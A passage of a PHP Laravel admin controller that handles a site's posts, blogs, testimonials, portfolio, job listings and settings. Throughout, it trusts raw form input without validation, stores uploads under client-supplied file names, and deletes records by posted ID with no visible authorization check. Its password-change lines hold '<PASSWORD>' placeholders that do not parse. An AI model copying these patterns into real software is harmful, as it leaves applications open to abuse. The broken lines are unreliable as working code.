/* * **
* Function to delete post
*/
public function deletePost() {
$postId = $_POST["post_id"];
$result = $this->deletePostData($postId);
return "sucess";
}
/* * **
* Function to delete user
*/
public function deleteUser() {
$userId = $_POST["user_id"];
$data_array = array(
"status" => "deleted",
'updated_at' => date("Y-m-d H:i:s")
);
$result = $this->updateUserInfo($userId, $data_array);
return "sucess";
}
/* * **
* Add New Page
*/
public function addNewPagePost() {
return view('admin.add-new-page');
}
/* * **
* Add New Post
*/
public function addNewPost() {
$ServiceData = $this->getPosts("service");
$dataArray = array("ServiceData" => $ServiceData);
return view('admin.add-new-post', array("dataArray" => $dataArray));
}
/* * **
* Add New Page
*/
public function addPageDetails() {
/* * *
* Set up Post Related data
*/
$banner_image = '';
if (isset($_FILES["post_bannerimg"]) && !empty($_FILES["post_bannerimg"]["name"])) {
$image = $_FILES["post_bannerimg"];
$filename1 = "1600x654_" . time() . $_FILES["post_bannerimg"]["name"];
$filename4 = "1600x548_" . time() . $_FILES["post_bannerimg"]["name"];
$filename2 = "250x250_" . time() . $_FILES["post_bannerimg"]["name"];
$filename3 = "640x640_" . time() . $_FILES["post_bannerimg"]["name"];
$banner_image = time() . $_FILES["post_bannerimg"]["name"];
$path4 = public_path('uploads/bannerImg/' . $filename4);
$path1 = public_path('uploads/bannerImg/' . $filename1);
$path2 = public_path('uploads/bannerImg/' . $filename2);
$path3 = public_path('uploads/bannerImg/' . $filename3);
Image::make($_FILES["post_bannerimg"]["tmp_name"])->resize(1600, 548)->save($path4);
Image::make($_FILES["post_bannerimg"]["tmp_name"])->resize(1600, 654)->save($path1);
Image::make($_FILES["post_bannerimg"]["tmp_name"])->resize(250, 250)->save($path2);
Image::make($_FILES["post_bannerimg"]["tmp_name"])->resize(640, 640)->save($path3);
} else {
$banner_image = 'default-img.jpg';
}
$customSlug = isset($_POST["custom_url"]) && !empty($_POST["custom_url"]) ? $_POST["custom_url"] : '';
$postSlug = $this->customPostSlug($_POST["post_title"]);
$postData = array(
"user_id" => Auth::user()->id,
"parent_id" => $_POST["post_title"],
"content" => trim($_POST["post_content"]),
"title" => $_POST["post_title"],
"post_slug" => $postSlug,
"custom_slug" => $customSlug,
"post_type" => "page",
"banner" => $banner_image,
"title1" => $_POST["post_title1"],
"title2" => $_POST["post_title2"],
"title3" => $_POST["post_title3"],
"tagline" => $_POST["post_tagline"],
"short_description" => trim($_POST["post_short_desc"]),
"long_description" => trim($_POST["post_long_description"]),
"meta_title" => $_POST["post_meta_title"],
"meta_keywords" => $_POST["post_meta_keywords"],
"meta_description" => $_POST["post_meta_description"],
"status" => $_POST["post_status"],
"created_at" => date("Y-m-d H:i:s")
);
$postId = $this->savePost($postData);
/* * **
* Setup Post meta data
*/
if (isset($_POST["meta_key"]) && !empty($_POST["meta_key"])) {
foreach ($_POST["meta_key"] as $key => $val) {
$postMetaData = array(
"post_key" => $val,
"post_value" => $_POST["meta_val"][$key],
"postmeta_type" => 'text'
);
$this->addPostMeta($postId, $postMetaData);
}
}
if (isset($_POST["meta_file_key"]) && !empty($_POST["meta_file_key"])) {
foreach ($_POST["meta_file_key"] as $key => $val) {
$filename1 = "48x48_" . time() . $_FILES["meta_file_val"]["name"][$key];
$filename2 = "250x250_" . time() . $_FILES["meta_file_val"]["name"][$key];
$filename3 = "555x339_" . time() . $_FILES["meta_file_val"]["name"][$key];
$imageInfo = time() . $_FILES["meta_file_val"]["name"][$key];
$path1 = public_path('uploads/postmetaImg/' . $filename1);
$path2 = public_path('uploads/postmetaImg/' . $filename2);
$path3 = public_path('uploads/postmetaImg/' . $filename3);
Image::make($_FILES["meta_file_val"]["tmp_name"][$key])->resize(48, 48)->save($path1);
Image::make($_FILES["meta_file_val"]["tmp_name"][$key])->resize(250, 250)->save($path2);
Image::make($_FILES["meta_file_val"]["tmp_name"][$key])->resize(555, 339)->save($path3);
$postMetaData = array(
"post_key" => $val,
"post_value" => $imageInfo,
"postmeta_type" => 'image'
);
$this->addPostMeta($postId, $postMetaData);
}
}
Session::flash('message', "Post saved successfully!");
return Redirect('/admin/manage-pages');
}
/* * **
* Add New Post
*/
public function addPostDetails() {
/* * *
* Set up Post Related data
*/
$banner_image = '';
if (isset($_FILES["post_bannerimg"]) && !empty($_FILES["post_bannerimg"]["name"])) {
$image = $_FILES["post_bannerimg"];
$filename1 = "1600x654_" . time() . $_FILES["post_bannerimg"]["name"];
$filename4 = "1600x548_" . time() . $_FILES["post_bannerimg"]["name"];
$filename2 = "250x250_" . time() . $_FILES["post_bannerimg"]["name"];
$filename3 = "640x640_" . time() . $_FILES["post_bannerimg"]["name"];
$banner_image = time() . $_FILES["post_bannerimg"]["name"];
$path1 = public_path('uploads/bannerImg/' . $filename1);
$path2 = public_path('uploads/bannerImg/' . $filename2);
$path4 = public_path('uploads/bannerImg/' . $filename4);
$path3 = public_path('uploads/bannerImg/' . $filename3);
Image::make($_FILES["post_bannerimg"]["tmp_name"])->resize(1600, 548)->save($path4);
Image::make($_FILES["post_bannerimg"]["tmp_name"])->resize(1600, 654)->save($path1);
Image::make($_FILES["post_bannerimg"]["tmp_name"])->resize(250, 250)->save($path2);
Image::make($_FILES["post_bannerimg"]["tmp_name"])->resize(640, 640)->save($path3);
} else {
$banner_image = 'default-img.jpg';
}
$customSlug = isset($_POST["custom_url"]) && !empty($_POST["custom_url"]) ? $_POST["custom_url"] : '';
$postSlug = $this->customPostSlug($_POST["post_title"]);
$postData = array(
"user_id" => Auth::user()->id,
"parent_id" => $_POST["post_title"],
"content" => trim($_POST["post_content"]),
"title" => $_POST["post_title"],
"parent_id" => isset($_POST["parent_service"]) ? $_POST["parent_service"] : 0,
"post_slug" => $postSlug,
"custom_slug" => $customSlug,
"post_type" => $_POST["post_category"],
"banner" => $banner_image,
"title1" => $_POST["post_title1"],
"title2" => $_POST["post_title2"],
"title3" => $_POST["post_title3"],
"tagline" => $_POST["post_tagline"],
"short_description" => trim($_POST["post_short_desc"]),
"long_description" => trim($_POST["post_long_description"]),
"meta_title" => $_POST["post_meta_title"],
"meta_keywords" => $_POST["post_meta_keywords"],
"meta_description" => $_POST["post_meta_description"],
"status" => $_POST["post_status"],
"created_at" => date("Y-m-d H:i:s")
);
$postId = $this->savePost($postData);
/* * **
* Setup Post meta data
*/
if (isset($_POST["meta_key"]) && !empty($_POST["meta_key"])) {
foreach ($_POST["meta_key"] as $key => $val) {
$postMetaData = array(
"post_key" => $val,
"post_value" => $_POST["meta_val"][$key],
"postmeta_type" => 'text'
);
$this->addPostMeta($postId, $postMetaData);
}
}
if (isset($_POST["meta_file_key"]) && !empty($_POST["meta_file_key"])) {
foreach ($_POST["meta_file_key"] as $key => $val) {
$filename1 = "48x48_" . time() . $_FILES["meta_file_val"]["name"][$key];
$filename2 = "250x250_" . time() . $_FILES["meta_file_val"]["name"][$key];
$filename3 = "555x339_" . time() . $_FILES["meta_file_val"]["name"][$key];
$imageInfo = time() . $_FILES["meta_file_val"]["name"][$key];
$path1 = public_path('uploads/postmetaImg/' . $filename1);
$path2 = public_path('uploads/postmetaImg/' . $filename2);
$path3 = public_path('uploads/postmetaImg/' . $filename3);
Image::make($_FILES["meta_file_val"]["tmp_name"][$key])->resize(48, 48)->save($path1);
Image::make($_FILES["meta_file_val"]["tmp_name"][$key])->resize(250, 250)->save($path2);
Image::make($_FILES["meta_file_val"]["tmp_name"][$key])->resize(555, 339)->save($path3);
$postMetaData = array(
"post_key" => $val,
"post_value" => $imageInfo,
"postmeta_type" => 'image'
);
$this->addPostMeta($postId, $postMetaData);
}
}
Session::flash('message', "Post saved successfully!");
return Redirect('/admin/manage-posts');
}
/* * **
* Check Post Custom URL
*/
public function customUrlCheck() {
$postedURL = $_POST["check_url"];
$record = postModel::where("post_slug", $postedURL)->get();
if (count($record) > 0) {
echo "exists";
} else {
echo "ok";
}
die;
}
/**
* To check post slug exists
*/
public function CheckPostSlugISExists($postSlug) {
$record = postModel::where("post_slug", $postSlug)->get();
if (count($record) > 0) {
return 1;
} else {
return 0;
}
}
/**
* To check post slug exists
*/
public function CheckBlogSlugISExists($postSlug) {
$record = Blog::where("blog_slug", $postSlug)->get();
if (count($record) > 0) {
return 1;
} else {
return 0;
}
}
/* * **
* Check Post Slug
*/
public function customBlogSlug($title) {
$blogSlug = strtolower(str_replace(" ", "-", $title));
$check = 1;
while ($check != 0) {
$result = $this->CheckBlogSlugISExists($blogSlug);
if ($result) {
$blogSlug = $blogSlug . "-" . $check;
$check++;
} else {
$check = 0;
}
}
return $blogSlug;
}
/* * *
* Create blog slug
*/
public function customPostSlug($title) {
$postSlug = strtolower(str_replace(" ", "-", $title));
$check = 1;
while ($check != 0) {
$result = $this->CheckPostSlugISExists($postSlug);
if ($result) {
$postSlug = $postSlug . "-" . $check;
$check++;
} else {
$check = 0;
}
}
return $postSlug;
}
/* * *
* System Setting
*/
public function systemSetting() {
/* * *
* Get system Settings
*/
$settingData = systemSettingModel::all();
$maintanceData = $this->checkSiteMode();
$dataArray = array("settingData" => $settingData, "maintanceData" => $maintanceData);
return view('admin.system-setting', ["dataArray" => $dataArray]);
}
/* * *
* get system settings
*/
public function manageSystemSetting($id) {
/* *
* Function to get system settings
* *
* */
$settingData = systemSettingModel::find($id);
$dataArray = array("settingData" => $settingData);
return view('admin.manage-system-setting', ["dataArray" => $dataArray]);
}
/* * *
* Update setting details
*/
public function updateSystemSetting() {
$id = $_POST["setting_id"];
if ($_POST["prev_setting_type"] == 'image') {
if (isset($_FILES["setting_Img"]) && !empty($_FILES["setting_Img"])) {
$description = time() . $_FILES["setting_Img"]["name"];
$path = public_path('uploads/systemImg/' . $description);
Image::make($_FILES["setting_Img"]["tmp_name"])->save($path);
} else {
$description = $_POST["prev_system_img"];
}
} else {
$description = $_POST["description"];
}
$dataArray = array(
"key" => $_POST["key"],
"value" => $_POST["setting_value"],
"extra_info" => $description,
"status" => $_POST["setting_status"],
"updated_at" => date("Y-m-d H:i:s"),
"setting_type" => $_POST["prev_setting_type"]);
$this->UpdateSystemSettings($id, $dataArray);
Session::flash('message', "Setting saved successfully!");
return Redirect('admin/updateSetting/' . $id);
}
/* * *
* Update the maintanice Settings
*/
public function updateMaintaniceMode() {
$dataArray = array(
"value" => $_POST["data"],
"updated_at" => date("Y-m-d H:i:s")
);
DB::table("tbl_system_setting")->where("key", "maintaince_mode")->update($dataArray);
echo "success";
die;
}
/* * *
* Change Password Page
*/
public function changePassword() {
return view('admin.change-password');
}
/* * *
* Update password
*/
public function changePasswordData() {
$old_password = $_POST["old_password"];
$new_password = $_POST["new_password"];
$re_password = $_POST["re_password"];
$data = User::find(Auth::user()->id);
if (Hash::check($old_password, $data->password)) {
$userPass = <PASSWORD>($new_password);
$dataUser = User::find(Auth::user()->id);
$dataUser->password = <PASSWORD>;
$dataUser->updated_at = date("Y-m-d H:i:s");
$dataUser->save();
Session::flash('message', "Password updated successfully!");
return Redirect('admin/change-password/');
} else {
return Redirect::back()->withInput()->withErrors(array('old_password' => "You have enter invaild current password."));
}
}
/* * **
* Manage Testimonial
*/
public function manageTestinomialList() {
/* *
* Function to get Testmonial List
* *
* */
$testimonialData = clientTestimonial::all();
$dataArray = array("testimonialData" => $testimonialData);
return view('admin.manage-testimonial', ["dataArray" => $dataArray]);
}
/**
* Add new Testinomial
*/
public function addNewTestinomial() {
return view('admin.add-new-testimonial');
}
/* * *
* Add new testmonial
*/
public function addNewTestinomialData() {
$profie_image = '';
if (isset($_FILES["profie_image"]) && !empty($_FILES["profie_image"]["name"])) {
$image = $_FILES["profie_image"];
$filename1 = "555x339_" . time() . $_FILES["profie_image"]["name"];
$filename2 = "300x223_" . time() . $_FILES["profie_image"]["name"];
$filename3 = "111x111_" . time() . $_FILES["profie_image"]["name"];
$profie_image = time() . $_FILES["profie_image"]["name"];
$path1 = public_path('uploads/client-profile-img/' . $filename1);
$path2 = public_path('uploads/client-profile-img/' . $filename2);
$path3 = public_path('uploads/client-profile-img/' . $filename3);
Image::make($_FILES["profie_image"]["tmp_name"])->resize(555, 339)->save($path1);
Image::make($_FILES["profie_image"]["tmp_name"])->resize(300, 223)->save($path2);
Image::make($_FILES["profie_image"]["tmp_name"])->resize(111, 111)->save($path3);
} else {
$profie_image = 'default-img.png';
}
$project_image = '';
if (isset($_FILES["project_image"]) && !empty($_FILES["project_image"]["name"])) {
$image = $_FILES["project_image"];
$filename1 = "842x372_" . time() . $_FILES["project_image"]["name"];
$filename2 = "300x223_" . time() . $_FILES["project_image"]["name"];
$filename3 = "111x111_" . time() . $_FILES["project_image"]["name"];
$project_image = time() . $_FILES["project_image"]["name"];
$path1 = public_path('uploads/client-project-img/' . $filename1);
$path2 = public_path('uploads/client-project-img/' . $filename2);
$path3 = public_path('uploads/client-project-img/' . $filename3);
Image::make($_FILES["project_image"]["tmp_name"])->resize(842, 372)->save($path1);
Image::make($_FILES["project_image"]["tmp_name"])->resize(300, 223)->save($path2);
Image::make($_FILES["project_image"]["tmp_name"])->resize(111, 111)->save($path3);
} else {
$project_image = 'default-img.jpg';
}
$client_name = $_POST['client_name'];
$client_address = $_POST['client_address'];
$feedbacks = $_POST['feedbacks'];
$projectUrl = $_POST['projectUrl'];
$testimonial_type = $_POST['testimonial_type'];
$videoUrl = $_POST['videoUrl'];
$status = $_POST['status'];
if ($testimonial_type == 'text') {
$videoUrl = '';
}
$clientData = new clientTestimonial;
$clientData->client_name = $client_name;
$clientData->client_address = $client_address;
$clientData->client_profilImg = $profie_image;
$clientData->projectImg = $project_image;
$clientData->feedbacks = $feedbacks;
$clientData->projectUrl = $projectUrl;
$clientData->status = $status;
$clientData->testimonial_type = $testimonial_type;
$clientData->videoUrl = $videoUrl;
$clientData->created_at = date("Y-m-d H:i:s");
$clientData->save();
Session::flash('message', "Testimonial saved successfully!");
return Redirect('admin/manage-testimonial');
}
/* * *
* manage testimonial
*/
public function manageTestinomialDetails($testimonialId) {
/* * *
* Get testimonial details
*/
$testimonialData = clientTestimonial::find($testimonialId);
$dataArray = array("testimonialData" => $testimonialData);
return view('admin/edit-testimonial-details', ["dataArray" => $dataArray]);
}
/* * *
* Edit Testimonial data
*/
public function editTestinomialDetails() {
$profie_image = '';
if (isset($_FILES["profie_image"]) && !empty($_FILES["profie_image"]["name"])) {
$image = $_FILES["profie_image"];
$filename1 = "555x339_" . time() . $_FILES["profie_image"]["name"];
$filename2 = "300x223_" . time() . $_FILES["profie_image"]["name"];
$filename3 = "111x111_" . time() . $_FILES["profie_image"]["name"];
$profie_image = time() . $_FILES["profie_image"]["name"];
$path1 = public_path('uploads/client-profile-img/' . $filename1);
$path2 = public_path('uploads/client-profile-img/' . $filename2);
$path3 = public_path('uploads/client-profile-img/' . $filename3);
Image::make($_FILES["profie_image"]["tmp_name"])->resize(555, 339)->save($path1);
Image::make($_FILES["profie_image"]["tmp_name"])->resize(300, 223)->save($path2);
Image::make($_FILES["profie_image"]["tmp_name"])->resize(111, 111)->save($path3);
}
$project_image = '';
if (isset($_FILES["project_image"]) && !empty($_FILES["project_image"]["name"])) {
$image = $_FILES["project_image"];
$filename1 = "842x372_" . time() . $_FILES["project_image"]["name"];
$filename2 = "300x223_" . time() . $_FILES["project_image"]["name"];
$filename3 = "111x111_" . time() . $_FILES["project_image"]["name"];
$project_image = time() . $_FILES["project_image"]["name"];
$path1 = public_path('uploads/client-project-img/' . $filename1);
$path2 = public_path('uploads/client-project-img/' . $filename2);
$path3 = public_path('uploads/client-project-img/' . $filename3);
Image::make($_FILES["project_image"]["tmp_name"])->resize(842, 372)->save($path1);
Image::make($_FILES["project_image"]["tmp_name"])->resize(300, 223)->save($path2);
Image::make($_FILES["project_image"]["tmp_name"])->resize(111, 111)->save($path3);
}
$client_name = $_POST['client_name'];
$client_address = $_POST['client_address'];
$feedbacks = $_POST['feedbacks'];
$projectUrl = $_POST['projectUrl'];
$testimonial_type = $_POST['testimonial_type'];
$videoUrl = $_POST['videoUrl'];
if ($testimonial_type == 'text') {
$videoUrl = '';
}
$status = $_POST['status'];
$testimonialId = $_POST['testimonialId'];
$clientData = clientTestimonial::find($testimonialId);
$clientData->client_name = $client_name;
$clientData->client_address = $client_address;
if (!empty($profie_image)) {
$clientData->client_profilImg = $profie_image;
}
if (!empty($project_image)) {
$clientData->projectImg = $project_image;
}
$clientData->feedbacks = $feedbacks;
$clientData->projectUrl = $projectUrl;
$clientData->status = $status;
$clientData->testimonial_type = $testimonial_type;
$clientData->videoUrl = $videoUrl;
$clientData->updated_at = date("Y-m-d H:i:s");
$clientData->save();
Session::flash('message', "Testimonial updated successfully!");
return Redirect('admin/manage-testimonial-detail/' . $testimonialId);
}
/* * *
* Delete testimonial
*/
public function deleteTestinomial() {
$testinomialId = $_POST["testimonialId"];
$clientData = clientTestimonial::find($testinomialId);
$clientData->delete();
echo "success";
die;
}
/* * *
* Manage Blog
*/
public function manageBlog() {
/* * *
* Get testimonial details
*/
$BlogData = Blog::all();
foreach ($BlogData as $key => $val) {
$category_data = BlogCategories::find($val->category_id);
$BlogData[$key]->category_data = $category_data;
}
//->category_data->data
$dataArray = array("BlogData" => $BlogData);
return view('admin/manage-blogs', ["dataArray" => $dataArray]);
}
/* * *
* Manage Blog
*/
public function editBlogData($blogSlug) {
/* * *
* Get testimonial details
*/
$BlogData = Blog::where("blog_slug", $blogSlug)->get();
$blogCategories = $this->getBlogCategories();
$dataArray = array("blogCategories" => $blogCategories, "BlogData" => $BlogData);
return view('admin/edit-blog', ["dataArray" => $dataArray]);
}
/* * **
* Manage portfolio
*/
public function managePortfolio() {
$PortfolioData = portfolio::all();
foreach ($PortfolioData as $key => $val) {
$data = postModel::find($val->category_id);
$PortfolioData[$key]->category_data = $data;
}
$dataArray = array("PortfolioData" => $PortfolioData);
return view('admin/manage-portfolio', ["dataArray" => $dataArray]);
}
/* * **
* Manage portfolio
*/
public function addNewPortfolio() {
$portfolioData = $this->getPosts("portfolio-category", 0, '');
$dataArray = array("portfolioData" => $portfolioData);
return view('admin/add-new-portfolio', ["dataArray" => $dataArray]);
}
/* * **
* Manage Blog
*/
public function addNewBlog() {
$blogCategories = $this->getBlogCategories();
$dataArray = array("blogCategories" => $blogCategories);
return view('admin/add-new-blog', ["dataArray" => $dataArray]);
}
/* * *
* Add Portfolio
*/
public function addNewPortfolioForm() {
$portfolio_image = '';
if (isset($_FILES["portfolioImg"]) && !empty($_FILES["portfolioImg"]["name"])) {
$image = $_FILES["portfolioImg"];
$filename1 = "842x372_" . time() . $_FILES["portfolioImg"]["name"];
$filename2 = "512x298_" . time() . $_FILES["portfolioImg"]["name"];
$filename3 = "111x111_" . time() . $_FILES["portfolioImg"]["name"];
$filename4 = "1058x645_" . time() . $_FILES["portfolioImg"]["name"];
$portfolio_image = time() . $_FILES["portfolioImg"]["name"];
$path1 = public_path('uploads/portfolioImg/' . $filename1);
$path2 = public_path('uploads/portfolioImg/' . $filename2);
$path3 = public_path('uploads/portfolioImg/' . $filename3);
$path4 = public_path('uploads/portfolioImg/' . $filename4);
Image::make($_FILES["portfolioImg"]["tmp_name"])->resize(842, 372)->save($path1);
Image::make($_FILES["portfolioImg"]["tmp_name"])->resize(512, 298)->save($path2);
Image::make($_FILES["portfolioImg"]["tmp_name"])->resize(111, 111)->save($path3);
Image::make($_FILES["portfolioImg"]["tmp_name"])->resize(1058, 645)->save($path4);
}
$portfolioData = new portfolio;
$portfolioData->title = $_POST["portfolio_title"];
$portfolioData->category_id = $_POST["portfolio_category"];
$portfolioData->portfolioImg = $portfolio_image;
$portfolioData->projectUrl = $_POST["projectUrl"];
$portfolioData->status = $_POST["post_status"];
$portfolioData->created_at = date("Y-m-d H:i:s");
$portfolioData->save();
Session::flash('message', "Portfolio added successfully!");
return Redirect('admin/manage-portfolio');
}
/* * *
* Edit portfolio
*/
public function editPortfolioDetails($id) {
$data = portfolio::find($id);
$portfolioData = $this->getPosts("portfolio-category", 0, '');
$dataArray = array("data" => $data, "portfolioData" => $portfolioData);
return view('admin/edit-portfolio-detail', ["dataArray" => $dataArray]);
}
/* * **
* Update portfolio
*/
public function updatePortfolioDetails() {
$portfolio_id = $_POST['portfolio_id'];
$portfolio_image = '';
if (isset($_FILES["portfolioImg"]) && !empty($_FILES["portfolioImg"]["name"])) {
$image = $_FILES["portfolioImg"];
$filename1 = "842x372_" . time() . $_FILES["portfolioImg"]["name"];
$filename2 = "512x298_" . time() . $_FILES["portfolioImg"]["name"];
$filename3 = "111x111_" . time() . $_FILES["portfolioImg"]["name"];
$filename4 = "1058x645_" . time() . $_FILES["portfolioImg"]["name"];
$portfolio_image = time() . $_FILES["portfolioImg"]["name"];
$path1 = public_path('uploads/portfolioImg/' . $filename1);
$path2 = public_path('uploads/portfolioImg/' . $filename2);
$path3 = public_path('uploads/portfolioImg/' . $filename3);
$path4 = public_path('uploads/portfolioImg/' . $filename4);
Image::make($_FILES["portfolioImg"]["tmp_name"])->resize(842, 372)->save($path1);
Image::make($_FILES["portfolioImg"]["tmp_name"])->resize(512, 298)->save($path2);
Image::make($_FILES["portfolioImg"]["tmp_name"])->resize(111, 111)->save($path3);
Image::make($_FILES["portfolioImg"]["tmp_name"])->resize(1058, 645)->save($path4);
}
$portfolioData = portfolio::find($portfolio_id);
$portfolioData->title = $_POST["portfolio_title"];
$portfolioData->category_id = $_POST["portfolio_category"];
if (!empty($portfolio_image)) {
$portfolioData->portfolioImg = $portfolio_image;
}
$portfolioData->projectUrl = $_POST["projectUrl"];
$portfolioData->status = $_POST["post_status"];
$portfolioData->updated_at = date("Y-m-d H:i:s");
$portfolioData->save();
Session::flash('message', "Portfolio updated successfully!");
return Redirect('admin/edit-portfolio/' . $portfolio_id);
}
/* * **
* Add new Blog
*/
public function addBlogData() {
$blog_image = '';
if (isset($_FILES["blog_bannerimg"]) && !empty($_FILES["blog_bannerimg"]["name"])) {
$image = $_FILES["blog_bannerimg"];
$filename1 = "781x374_" . time() . $_FILES["blog_bannerimg"]["name"];
$filename2 = "512x298_" . time() . $_FILES["blog_bannerimg"]["name"];
$filename3 = "111x111_" . time() . $_FILES["blog_bannerimg"]["name"];
$filename4 = "272x268_" . time() . $_FILES["blog_bannerimg"]["name"];
$blog_image = time() . $_FILES["blog_bannerimg"]["name"];
$path1 = public_path('uploads/blogImg/' . $filename1);
$path2 = public_path('uploads/blogImg/' . $filename2);
$path3 = public_path('uploads/blogImg/' . $filename3);
$path4 = public_path('uploads/blogImg/' . $filename4);
Image::make($_FILES["blog_bannerimg"]["tmp_name"])->resize(781, 374)->save($path1);
Image::make($_FILES["blog_bannerimg"]["tmp_name"])->resize(512, 298)->save($path2);
Image::make($_FILES["blog_bannerimg"]["tmp_name"])->resize(111, 111)->save($path3);
Image::make($_FILES["blog_bannerimg"]["tmp_name"])->resize(272, 268)->save($path4);
}
$blogSlug = $this->customBlogSlug($_POST["blog_title"]);
$customSlug = isset($_POST["custom_url"]) && !empty($_POST["custom_url"]) ? $_POST["custom_url"] : '';
$blogData = new Blog;
$blogData->title = $_POST["blog_title"];
$blogData->category_id = $_POST["blog_category"];
$blogData->blogImg = $blog_image;
$blogData->description = $_POST["blog_content"];
$blogData->blog_slug = $blogSlug;
$blogData->postedBy = Auth::user()->id;
$blogData->custom_url = $customSlug;
$blogData->status = $_POST["blog_status"];
$blogData->created_at = date("Y-m-d H:i:s");
$blogData->save();
Session::flash('message', "Blog added successfully!");
return Redirect('admin/manage-blog');
}
/* * **
* edit Blog
*/
public function editBlogDataDetails() {
$blog_image = '';
if (isset($_FILES["blog_bannerimg"]) && !empty($_FILES["blog_bannerimg"]["name"])) {
$image = $_FILES["blog_bannerimg"];
$filename1 = "781x374_" . time() . $_FILES["blog_bannerimg"]["name"];
$filename2 = "512x298_" . time() . $_FILES["blog_bannerimg"]["name"];
$filename3 = "111x111_" . time() . $_FILES["blog_bannerimg"]["name"];
$filename4 = "272x268_" . time() . $_FILES["blog_bannerimg"]["name"];
$blog_image = time() . $_FILES["blog_bannerimg"]["name"];
$path1 = public_path('uploads/blogImg/' . $filename1);
$path2 = public_path('uploads/blogImg/' . $filename2);
$path3 = public_path('uploads/blogImg/' . $filename3);
$path4 = public_path('uploads/blogImg/' . $filename4);
Image::make($_FILES["blog_bannerimg"]["tmp_name"])->resize(781, 374)->save($path1);
Image::make($_FILES["blog_bannerimg"]["tmp_name"])->resize(512, 298)->save($path2);
Image::make($_FILES["blog_bannerimg"]["tmp_name"])->resize(111, 111)->save($path3);
Image::make($_FILES["blog_bannerimg"]["tmp_name"])->resize(272, 268)->save($path4);
}
$customSlug = isset($_POST["custom_url"]) && !empty($_POST["custom_url"]) ? $_POST["custom_url"] : '';
$blogData = Blog::find($_POST["blogId"]);
$blogData->title = $_POST["blog_title"];
$blogData->category_id = $_POST["blog_category"];
if (!empty($blog_image)) {
$blogData->blogImg = $blog_image;
}
$blogData->description = $_POST["blog_content"];
$blogData->status = $_POST["blog_status"];
$blogData->updated_at = date("Y-m-d H:i:s");
$blogData->save();
Session::flash('message', "Blog updated successfully!");
return Redirect('admin/edit-blog/' . $_POST["blog_slug"]);
}
/* * *
* Delete Blog
*
*/
public function deleteBlog() {
$blog_id = $_POST["blog_id"];
$blogData = Blog::find($blog_id);
$blogData->delete();
echo "success";
die;
}
/* * *
* For geting contactus data
*/
public function contactUsRecords() {
$contactus = contactUsModel::orderBy('created_at', 'desc')->get();
$dataArray = array("contactusData" => $contactus);
return view('admin/manage-contactus-records', ["dataArray" => $dataArray]);
}
/* * *
* Delete Contact us record
*/
public function deleteContactusRecord() {
$record_id = $_POST["record_id"];
$contactUsData = contactUsModel::find($record_id);
$contactUsData->delete();
echo "success";
die;
}
/* * *
* Delete portfolio record
*/
public function deletePortfolioRecord() {
$record_id = $_POST["record_id"];
$portfolioData = portfolio::find($record_id);
$portfolioData->delete();
echo "success";
die;
}
/* * **
* Manage Business Partner Records
*/
public function businessPartnerRecords() {
$businessPartnerData = businessPartner::orderBy('created_at', 'desc')->get();
$dataArray = array("businessPartnerData" => $businessPartnerData);
return view('admin/manage-partner-records', ["dataArray" => $dataArray]);
}
/* * *
* Delete partner record
*/
public function deletePartnerRecord() {
$record_id = $_POST["record_id"];
$businessPartnerData = businessPartner::find($record_id);
$businessPartnerData->delete();
echo "success";
die;
}
/* * *
* Delete job record
*/
public function deleteJobRecord() {
$record_id = $_POST["record_id"];
$jobsData = jobs::find($record_id);
$jobsData->delete();
echo "success";
die;
}
/**
* Manage Job List
*/
public function manageJobList() {
$jobsData = jobs::all();
foreach ($jobsData as $key => $val) {
$jobsData[$key]->category_data = jobs::find($val->id)->getJobCategoryDetails;
}
$dataArray = array("jobsData" => $jobsData);
return view('admin/manage-jobs-records', ["dataArray" => $dataArray]);
}
/* * **
* Add Job Vacancy
*/
public function AddJobVacancy() {
$jobCategoryData = jobCategories::where('status', 'Active')->get();
$dataArray = array("jobCategoryData" => $jobCategoryData);
return view('admin/add-new-job', ["dataArray" => $dataArray]);
}
/* * **
* Add Job Details
*/
public function addJobDetails() {
/* * *
* setup the variables
*/
$dataArray = array(
"category_id" => $_POST["job_category"],
"job_title" => $_POST["job_title"],
"exp_required" => $_POST["req_exp"],
"job_location" => $_POST["job_location"],
"profession_exp" => $_POST["professional_exp"],
"no_of_vacancy" => $_POST["no_of_vacancy"],
"job_summary" => $_POST["job_summary"],
"skills" => $_POST["skills_required"],
"status" => $_POST["job_status"],
"created_at" => date("Y-m-d H:i:s"),
);
jobs::insert($dataArray);
Session::flash('message', "Job details saved successfully!");
return Redirect('admin/manage-jobs');
}
/* * *
* Edit job Details
*
*/
public function editJobData($id) {
$jobCategoryData = jobCategories::where('status', 'Active')->get();
$jobDetail = jobs::find($id);
$dataArray = array("jobCategoryData" => $jobCategoryData, "jobDetail" => $jobDetail);
return view('admin/edit-job-detail', ["dataArray" => $dataArray]);
}
/* * *
* Update Job details
*/
public function editJobDetails() {
/* * *
* setup the variables
*/
$job_id = $_POST['job_id'];
$dataArray = array(
"category_id" => $_POST["job_category"],
"job_title" => $_POST["job_title"],
"exp_required" => $_POST["req_exp"],
"job_location" => $_POST["job_location"],
"profession_exp" => $_POST["professional_exp"],
"no_of_vacancy" => $_POST["no_of_vacancy"],
"job_summary" => $_POST["job_summary"],
"skills" => $_POST["skills_required"],
"status" => $_POST["job_status"],
"updated_at" => date("Y-m-d H:i:s"),
);
jobs::where("id", $job_id)->update($dataArray);
Session::flash('message', "Job details updated successfully!");
return Redirect('admin/edit-job/' . $job_id);
}
/* * *
* Manage Job Applications
*/
public function manageJobApplicaitonsRecords() {
$jobApplications = jobApplications::orderBy('created_at', 'desc')->get();
foreach ($jobApplications as $key => $val) {
$jobApplications[$key]->jobDetail = $val->getJobsDetail;
}
$dataArray = array("jobApplications" => $jobApplications);
return view('admin/manage-applicants-records', ["dataArray" => $dataArray]);
}
/* * *
* View application details
*/
public function ViewJobApplicationDetails($app_id) {
$jobApplications = jobApplications::find($app_id);
$jobApplications->jobDetail = $jobApplications->getJobsDetail;
$jobCategoryID = $jobApplications->getJobsDetail->category_id;
$categoryData = jobCategories::find($jobCategoryID);
$jobApplications->categoryData = $categoryData;
$dataArray = array("jobApplications" => $jobApplications);
return view('admin/view-application-detail', ["dataArray" => $dataArray]);
}
/* * *
* Update Job Applicaiton
*/
public function updateJobApplicationData() {
$application_id = $_POST["application_id"];
$status = $_POST["application_status"];
$jobApplicationsData = jobApplications::find($application_id);
$jobApplicationsData->status = $status;
$jobApplicationsData->updated_at = date("Y-m-d H:i:s");
$jobApplicationsData->save();
Session::flash('message', "Application status updated successfully!");
return Redirect('admin/view-application-details/' . $application_id);
}
/* * *
* Delete Application record
*/
public function deleteApplicationRecord() {
$record_id = $_POST["record_id"];
$jobApplicationsData = jobApplications::find($record_id);
$jobApplicationsData->delete();
